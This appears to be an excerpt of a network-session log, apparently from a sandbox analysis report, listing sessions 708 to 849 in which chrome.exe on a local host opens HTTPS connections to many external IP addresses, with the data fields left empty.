708	192.168.2.4	50642	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.4	50643	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.4	50641	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.4	50646	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.4	50647	38.68.201.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.4	50648	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.4	50649	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.4	50650	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.4	50651	44.206.188.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.4	50652	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.4	50653	44.206.188.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.4	50654	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.4	50655	107.178.254.65	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.4	50656	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.4	50659	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.4	50658	207.65.37.182	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.4	50660	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.4	50657	207.65.37.182	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.4	50662	38.91.45.7	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.4	50663	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.4	50661	185.184.8.90	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.4	50664	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.4	50665	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.4	50667	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.4	50668	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.4	50670	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.4	50669	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.4	50672	35.236.220.17	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.4	50673	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.4	50674	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.4	50675	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.4	50677	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.4	50678	18.160.10.47	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.4	50680	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.4	50676	44.205.210.132	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.4	50682	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.4	50679	188.166.17.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.4	50684	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.4	50683	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.4	50685	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.4	50687	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.4	50689	18.165.94.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.4	50688	18.165.94.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.4	50691	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.4	50692	54.236.160.160	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.4	50693	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.4	50698	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.4	50697	3.5.30.234	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.4	50700	142.251.167.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.4	50701	142.251.167.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.4	50703	52.85.132.46	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.4	50706	13.32.208.6	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.4	50708	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.4	50709	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.4	50711	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.4	50707	3.91.171.220	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.4	50710	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.4	50696	68.67.179.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.4	50695	35.172.238.227	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.4	50705	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.4	50712	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.4	50714	44.206.188.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.4	50716	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.4	50715	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.4	50719	13.249.39.118	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.4	50713	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.4	50722	51.222.80.231	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.4	50721	50.57.31.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.4	50723	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.4	50718	54.172.245.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.4	50717	3.85.67.14	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.4	50725	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.4	50727	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.4	50724	3.91.171.220	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.4	50702	52.223.22.214	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.4	50720	63.33.13.151	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.4	50729	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.4	50730	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.4	50734	44.206.188.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.4	50732	54.172.245.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.4	50733	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.4	50736	3.85.67.14	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.4	50735	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.4	50737	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.4	50738	54.172.245.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.4	50740	44.206.188.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.4	50743	54.172.245.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.4	50741	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.4	50744	207.65.37.182	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.4	50742	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.4	50739	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.4	50745	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.4	50749	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.4	50746	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.4	50750	35.244.154.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.4	50748	51.222.80.231	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.4	50747	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.4	50751	63.33.13.151	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.4	50754	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.4	50757	142.251.167.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.4	50758	142.251.167.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.4	50760	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.4	50762	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.4	50763	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.4	50761	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.4	50755	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.4	50756	3.91.171.220	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.4	50766	68.67.160.186	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.4	50770	54.197.158.229	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.4	50769	54.197.158.229	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.4	50771	52.94.223.37	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.4	50774	51.222.80.231	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.4	50776	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.4	50777	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.4	50781	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.4	50784	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.4	50785	54.236.160.160	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.4	50783	68.67.160.186	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.4	50787	142.251.167.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.4	50788	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.4	50789	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.4	50790	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.4	50796	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.4	50795	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.4	50799	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.4	50800	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.4	50801	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.4	50802	23.62.24.69	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.4	50804	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.4	50805	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.4	50811	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.4	50792	52.46.130.91	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.4	50793	52.46.130.91	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.4	50794	52.46.130.91	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.4	50808	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.4	50810	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.4	50812	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.4	50809	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.4	50798	52.206.13.146	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.4	50791	52.46.130.91	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.4	50797	3.232.243.114	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.4	50815	8.28.7.84	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

